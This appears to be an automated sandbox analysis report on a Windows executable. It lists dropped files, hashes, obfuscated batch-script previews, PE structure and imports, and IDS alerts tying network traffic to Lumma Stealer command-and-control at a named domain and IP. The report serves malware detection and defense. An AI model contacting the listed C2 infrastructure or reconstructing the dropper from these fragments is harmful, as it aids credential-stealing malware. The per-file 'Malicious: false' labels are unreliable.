SHA-512:	3F87E53F494A341BB10E5F0A241E2B3C3ECBDC7B49CEBD792DF5EE6B5E810FD69394347B13511220A73805B28CFA298980FE125ABA62F5C273E63944EC2F7A7E
Malicious:	false
Preview:	Set Charging=P..zBWent Utilities Closing Ep ..IPX Ribbon Newark Destiny Distribution ..AoVendor Hoping Ensemble Lan Qld Hardcore Running ..gCBCure ..crfWSamoa Calm Investigate Modems Rt Pulse ..NKOpposition Collapse Mhz Vegetarian Alt Generated Vinyl Customise Upper ..BxSculpture Broadcast Displaying Governing Rolling Banner Compaq ..YtGossip Multimedia Julian Stories Loving Scored Nascar Paper Bang ..HzYConfirmation Entirely ..Set Has=d..nvPantyhose Seattle Pot Uniprotkb ..UNSum Cat Mysimon Verzeichnis Trees Th Inches ..zVWHarm Texts Bulk Intake Book ..cJIntent Blocking Downloadable Comm Bob Nude Poll ..bLEnlargement Harvard ..xMVQLessons ..EgCWatson Reporters Playing Cups Sorry Supervisor Jerry Atlas ..cedODuty Rogers J Transportation Composite Section Deputy Zones ..LLGazette Greatly ..pTReferred Electrical Canyon Subsidiary Accomplish Trailers Oriented Suburban ..Set Xerox=F..voThis Pottery ..SRDepression Offerings Organic ..KsmQKidney None Daddy Seas Groove Opponent Methods Kiss .

C:\Users\user\AppData\Local\Temp\Messenger.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1111), with CRLF line terminators
Category:	dropped
Size (bytes):	26252
Entropy (8bit):	5.041509720355503
Encrypted:	false
SSDEEP:	384:tt/9eUHos7PxCnxGOSPN4BbM92QdqdizH+DtA66DQKrSyGNKMvqKrazjjudpkY:7/97IiJwGOSSBM92Q2iK+qKH66KOvjuZ
MD5:	A1B7F00B804AD580CDCC8C0DBAC0FB87
SHA1:	46A03A82FCBB835E73C351A147E38053FAC7F87D
SHA-256:	C2CBFB6A0EE6BC41397E4C57C97569407DB87A76E7F4BD3F5ABE63545E94E311
SHA-512:	3F87E53F494A341BB10E5F0A241E2B3C3ECBDC7B49CEBD792DF5EE6B5E810FD69394347B13511220A73805B28CFA298980FE125ABA62F5C273E63944EC2F7A7E
Malicious:	false
Preview:	Set Charging=P..zBWent Utilities Closing Ep ..IPX Ribbon Newark Destiny Distribution ..AoVendor Hoping Ensemble Lan Qld Hardcore Running ..gCBCure ..crfWSamoa Calm Investigate Modems Rt Pulse ..NKOpposition Collapse Mhz Vegetarian Alt Generated Vinyl Customise Upper ..BxSculpture Broadcast Displaying Governing Rolling Banner Compaq ..YtGossip Multimedia Julian Stories Loving Scored Nascar Paper Bang ..HzYConfirmation Entirely ..Set Has=d..nvPantyhose Seattle Pot Uniprotkb ..UNSum Cat Mysimon Verzeichnis Trees Th Inches ..zVWHarm Texts Bulk Intake Book ..cJIntent Blocking Downloadable Comm Bob Nude Poll ..bLEnlargement Harvard ..xMVQLessons ..EgCWatson Reporters Playing Cups Sorry Supervisor Jerry Atlas ..cedODuty Rogers J Transportation Composite Section Deputy Zones ..LLGazette Greatly ..pTReferred Electrical Canyon Subsidiary Accomplish Trailers Oriented Suburban ..Set Xerox=F..voThis Pottery ..SRDepression Offerings Organic ..KsmQKidney None Daddy Seas Groove Opponent Methods Kiss .

C:\Users\user\AppData\Local\Temp\Populations

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.997876371966904
Encrypted:	true
SSDEEP:	1536:WBesnO+7sc7g3UBWzTkl5khKLGySl1uWZwfSxupw0dTwmoU/ubOGzXMA7k1heI:xERscfWsl5AF1vXmTwLOAXMA7k1b
MD5:	59F502DD7FE3DF7AD45AD5B4690984A5
SHA1:	6D7B25CAD3E4D650BDEE3FD61E86B014FE1A5928
SHA-256:	B530037D4800DD4A25E97B527272632E06B47F6304656592F84530E3D3142032
SHA-512:	DA3E55279F9352638279FF47E0AB290A4E4EDFCB993C56B70E0A7DFB50995AF5AF14733B03C16743DDFE2E12B890D669D63D4835106D5C86B92FE9A2A730E46B
Malicious:	false
Preview:	......'.......%....-..............7...n<....Y...b=.6.0.[.J..\...7,..@t...b.wL.N.<.@8...R5..}z.cX..K..m4.t(./.`G..UK....1'.J.....).'\|w4......{.`e6Q...(.D=eG.]...b.^C.87...%.mm........5h?.^...x.(kwE\|.dC..(.t`b;U,.3.%......8....k...v.a.v...dIC.+.3{zG...1.I./....y..<m..8.....I....e%L.r....y..^..+.....N\|K.\|...{..g:........<n.....O=.Q>..:.r8M.......w...+X.j.b.b.l0..c.....6.Jc.G#....g.1.7..?d.q6~9......'#".I.N.y..G..=9o^..'Y.....N...V.l...C.....r..+X0l.0.T.....4\|.V..n..@..wFW..%:).....Y......t.m...q........7sq.yB_.,.l...[...c.T.^?.An..a.tD..C..{.v...;.$>C...)5T....6.7.c..o...{.....mr.B1...k.?E+d8s..&c.b)...Aj.. ..r...Q..>5.V....8(k...Y_>=l&.,...P...z......h..ik.f>VT..T=....c.....:....q...Oc....B..Z...H...D.......=.b......'............$..g..$.....~..:1.....n.A2I_x[.Jj...=..r.pl.qE..+.Q.m.@..e..R......S'k.rS..g....[..$..[[..z........x...F...:..7.W.,....jW.G...Q..<.-Q-.....l.-HS.....Y..R..&......>Vr........q[..\.*V.........u.z..G.'C

C:\Users\user\AppData\Local\Temp\Proposals

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	58106
Entropy (8bit):	7.997145872390663
Encrypted:	true
SSDEEP:	768:1d+m2xlkQOSA4U6vIED+uLwRBSQsO22CsGCQtt2wOyn7YIdPuo7Y463Fjl/KV5:Xh0wr4U+hKR1JN+/7YYT046j/KV5
MD5:	1FCBEEB3F2ED81B47E58FE8D03BC0CAF
SHA1:	F56FC28708CF1AB85AEE46055A2DE0A7CB2EB947
SHA-256:	DB320A05CE71CC7E3015F0705622D792B3D92DC4C51A0025D6D96A7EEEFBB437
SHA-512:	9D59531C9807240409EBF5E9F1A1792B2739DF9523C364DF72D66C9BA8E99637EEFE66B6773836652FB00D6D110C0B3977382290AFD31C4EFF8762B03EF5EC3D
Malicious:	false
Preview:	.N...a..>..hjo.)e..E..............G .%f.kZ.9g3......S..z.?g.08\h.lE... .Q.....OP..Jk...../...R.K....`,...W.XbW.%..@.SH.L._d%...9."~.q....wN;Y.1.^.-...5..OL...K=Y_..)...........=5.?%.......>..o...R(...b3...]3.D....G.)..n.t....0mt..B...{n~.=.=&.2...f.C...K...;......j.%.v...._Z'..(!..p..c.......h.[=...qC^..,5p.H.5.X..B.Y.f.<.gi..lC..X..$.o.1.g."f.T...C'C...7......'...h,....g...K.T4m.p.\(..;Bej.q2u.;u.+.m...o*..F.F%HG..N....s..=...&.t.?Z.,r....s.\|.#00Z...E@..T...p..<[.....+2Y...+%.8..........R..b...$O......]v....n...Q.$6<5.@o.....d.....}3,. .j.I..q..A..uU...J..LI\|`....e`.t....!..6).W..\|.....2.....D1\`h....RW..~.F..,..J[1.l...+$p.c...1...!..T.x.y1......+/~..OX...P9.k..].....s.!.2L.Hx......;^....UVl.9.(..]x.@..;...F......@..._.....BR.g:.:.A....1@yT~....\|d...uT:._..FG.....M.......8...K..QCMm.+A...)...(i.....;d_6...Y^.O.C....kY&.j.LgU.2....A....$..Y.O.'m'..\|....c.I.=._..=oH.k..2.U.<'.-.'....$R.hr. .T..v.Wv.C.r..U{(.9v.\|.....yZT.......j'gI...

C:\Users\user\AppData\Local\Temp\WERA511.tmp.WERDataCollectionStatus.txt

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	3.259424548889022
Encrypted:	false
SSDEEP:	48:pszehzSzbxGQI5Uhm53bnl2Cl20lRrhvcAQHKEULLErX:pszehzSzbxGQI5UhmJspO5QhULLoX
MD5:	A3D6A3A362705A74A2CDCECE38285C17
SHA1:	CFB61088CA6BE9736438E3710CE8A5183A6A38B9
SHA-256:	838BFAA62C912CC50B7D72C7F286AE35C81A8C0952F78D54FF1880FB6EBBBEED
SHA-512:	8238F66EEC682E6D63D2AC38E64D601883683ECEFBC2EFA27C54B351EAC92438E024AB3B015CD527A94D73F068DBDA269D777735BD087F39FC94E26991941766
Malicious:	false
Preview:	......S.n.a.p.s.h.o.t. .D.u.m.p.e.r.....-. .S.n.a.p.s.h.o.t. .a.v.a.i.l.a.b.l.e. . . . . . . .:. .0.....-. .S.n.a.p.s.h.o.t.s. .d.i.s.a.b.l.e.d. . . . . . . .:. .0.0.....-. .S.n.a.p.s.h.o.t. .s.t.a.t.u.s. . . . . . . . . . .:. .0.0.0.0.0.0.0.0.....-. .D.u.m.p.e.r. .s.t.a.t.u.s. . . . . . . . . . . . .:. .0.0.0.0.0.0.0.1.....-. .P.r.o.c.e.s.s. .W.E.R. .f.l.a.g.s. . . . . . . . .:. .0.0.0.0.0.0.0.0.....-. .W.a.t.s.o.n. .r.e.q.u.e.s.t. .d.u.m.p. . . . . . .:. .0.0.1.2.0.1.a.4.........M.i.n.i.D.u.m.p.W.r.i.t.e.D.u.m.p. .t.o.o.k.:.....-. .T.i.c.k.s. . . . . .:. . . . . . . . . . . . . . .3. .m.s.......-. .C.y.c.l.e.s. . . . .:. . . . . . . . .5.8.1.7.7.3.8.......M.i.n.i.D.u.m.p.W.r.i.t.e.D.u.m.p. .I./.O. .c.o.u.n.t.e.r.s.:.....-. .R.e.a.d.s. . . . . .:. . . . . . . . . .0. .o.p.s.,. . . . . . . . . .0. .b.y.t.e.s.,. . . . . . .0. .K.B./.s.e.c.......-. .W.r.i.t.e.s. . . . .:. . . . . . . . . .0. .o.p.s.,. . . . . . . . . .0. .b.y.t.e.s.,. . . . . . .0. .K.B./.s.e.c.......-. .O.t.h.e.r. . . .

C:\Users\user\AppData\Local\Temp\Zip

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	887257
Entropy (8bit):	6.622204051122814
Encrypted:	false
SSDEEP:	12288:hV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:7xz1JMyyzlohMf1tN70aw8501
MD5:	FA3F29D884E2EEE39326C8CA8E902A46
SHA1:	3CDEBB2ABB011D3FC0F8B157DDAFE1E520F55E78
SHA-256:	D2DC15268000D657ED26E677B35DFE419082DF7B3D62748E1EA87A54A6B6E80C
SHA-512:	7F4213D678A40F5F500D6C5393085037CDA17073EBEA5920610F8BE21055235A62D5F6E12378F47BB020CAC2469A0A4BE02BF8008668AE85D6125EADAD4F2C55
Malicious:	false
Preview:	.U.;...V....u... .........$..........xL........t.Q........xL..... ....wL.J...wL.;5.xL.u....xL.....xL.........._^..u..5.wL.R....I..%.wL.....xL...t...xL..D...8.u...xL.........]...U.....M...xL.SVW.....wL..u....]......j....E....(.I..{L...t..{L.....}....$xL.......KH..yi..........wq....&@..$.e&@..E...........}....{L.uUj...(.I.P.u... .I..}........j..u...8.I.j.....I._^[..]..........t....j...........E...sL.k.C.P&@.W&@..%@...C..%@.W&@................................U..8xL.....M.....t...9.t..@...M..J....@...]...Q.M..E.......H.I..E..8xL..E.P......E...U..M....t.W.}......N..._]...U..QQSVW.}..E.P..7....I..E...l....E...p....E.PV..p.I..M..E.;.t...uc;.x...u[.s..5..I....s........E.......E....;.\|.....a....}..t...\|...;............}..t......._^[..]....}....t.....x...\|......U...M.VW...........\|P;......H.Bt.......t<.u..@....M.....B`....8.t".....\|.;........Bt....8.t..._^]...2...U..V..W.}.;............Ft.......t.Q.?....Ft.... .......;.....u?...\|..Ft......8.u.O......}..........Nx.Nx.Ft.4......FtY.Nx

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372882082771727
Encrypted:	false
SSDEEP:	6144:XFVfpi6ceLP/9skLmb08yWWSPtaJG8nAge35OlMMhA2AX4WABlguNeiL:VV1qyWWI/glMM6kF7Uq
MD5:	F6A301C2066F8E5C6F5B7E996599122A
SHA1:	CA63FEB8AC208FC22A9B9CB4826AAB3579CA06DA
SHA-256:	2DF22CBCE0EF7A5A0DD9C4C257CB733FFCD758ECADA0A120CB56AD636C6653D0
SHA-512:	B03A66EC7B0E4EB87ED9E2D68F675F2475A1C4AB68467E6832B9CC7269CC7BF4E5D97D413228A8C3DBE94A1A33D3382B5C01E83B73628335A7F68AA93D3BE1F8
Malicious:	false
Preview:	regfE...E....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..P^................................................................................................................................................................................................................................................................................................................................................Q.Gj........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.528894173633882
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'311'091 bytes
MD5:	58746394954f378471b0b1f02039464e
SHA1:	fd91e03526997b6aaa093d7d486207088ca2b3f5
SHA256:	fe4f289171283f597e3bf13a4cc5d2eff0f8606b4afa4db31e2c2ec63842590f
SHA512:	e704de0d3811cc600bb1c8b1a0730b841271de188c1e044e6d4c7ed177f5cecdde385b46d348b4b24083f156cb8534e5a989d009154ddb2d11273c7454f3c76a
SSDEEP:	24576:1thk399SEsWnSrLgjAbLDUyNNDBidtVpTkQ6cZOOwo:Lh64EPnYLgkbLDUyHBiXTX6cgOd
TLSH:	1E55F1D1C6E948DDF861467A8573DC3A2177BC2D9430592B72AEB4B3AE732C3143690B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	c1c0e4c4c4ccc4cc

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F54C4EB1D0Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F54C4EB19EDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F54C4EB19DBh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F54C4EAF2DAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F54C4EB16B1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F54C4EAF363h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F54C4EAF2DAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x524f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x524f0	0x52600	20e19ad2d6eafbb74c535b862c6bab27	False	0.4244742270485584	data	5.069080544330488	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x147000	0xf32	0x1000	a0de34c765357b2058c480ebce65cc9a	False	0.523193359375	data	5.6413585098565795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41f0	0x44028	Device independent bitmap graphic, 256 x 512 x 32, image size 278528	English	United States	0.37995390712501076
RT_ICON	0x138218	0x9928	Device independent bitmap graphic, 96 x 192 x 32, image size 39168	English	United States	0.6285196898592124
RT_ICON	0x141b40	0x4428	Device independent bitmap graphic, 64 x 128 x 32, image size 17408	English	United States	0.6714809720311784
RT_DIALOG	0x145f68	0x100	data	English	United States	0.5234375
RT_DIALOG	0x146068	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x146188	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1461e8	0x30	data	English	United States	0.8333333333333334
RT_MANIFEST	0x146218	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T00:54:25.510130+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.8	61832	1.1.1.1	53	UDP
2024-09-29T00:54:26.004598+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.8	49713	172.67.132.32	443	TCP
2024-09-29T00:54:26.147163+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49713	172.67.132.32	443	TCP
2024-09-29T00:54:26.147163+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49713	172.67.132.32	443	TCP
2024-09-29T00:54:26.678782+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.8	49714	172.67.132.32	443	TCP
2024-09-29T00:54:27.130354+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49714	172.67.132.32	443	TCP
2024-09-29T00:54:27.130354+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	172.67.132.32	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 00:54:25.525454998 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:25.525480986 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:25.525569916 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:25.536890984 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:25.536909103 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.004515886 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.004597902 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.006242037 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.006251097 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.006485939 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.046344042 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.046360016 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.046426058 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146581888 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146621943 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146646023 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146680117 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146689892 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.146703959 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146733999 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.146737099 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.146780014 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.149199963 CEST	49713	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.149216890 CEST	443	49713	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.189764977 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.189793110 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.189877033 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.190243959 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.190258026 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.678711891 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.678781986 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.680025101 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.680036068 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.680268049 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:26.681380987 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.681399107 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:26.681466103 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:27.130342007 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:27.130439997 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:27.130639076 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:27.130738974 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:27.130757093 CEST	443	49714	172.67.132.32	192.168.2.8
Sep 29, 2024 00:54:27.130783081 CEST	49714	443	192.168.2.8	172.67.132.32
Sep 29, 2024 00:54:27.130789042 CEST	443	49714	172.67.132.32	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 00:53:23.318509102 CEST	49617	53	192.168.2.8	1.1.1.1
Sep 29, 2024 00:53:24.316051960 CEST	49617	53	192.168.2.8	1.1.1.1
Sep 29, 2024 00:53:24.317884922 CEST	53	49617	1.1.1.1	192.168.2.8
Sep 29, 2024 00:53:24.327992916 CEST	53	49617	1.1.1.1	192.168.2.8
Sep 29, 2024 00:54:25.510129929 CEST	61832	53	192.168.2.8	1.1.1.1
Sep 29, 2024 00:54:25.521387100 CEST	53	61832	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 00:53:23.318509102 CEST	192.168.2.8	1.1.1.1	0xa775	Standard query (0)	nrbDrRupdENT.nrbDrRupdENT	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:24.316051960 CEST	192.168.2.8	1.1.1.1	0xa775	Standard query (0)	nrbDrRupdENT.nrbDrRupdENT	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:54:25.510129929 CEST	192.168.2.8	1.1.1.1	0xb0ca	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false

DNS Answers

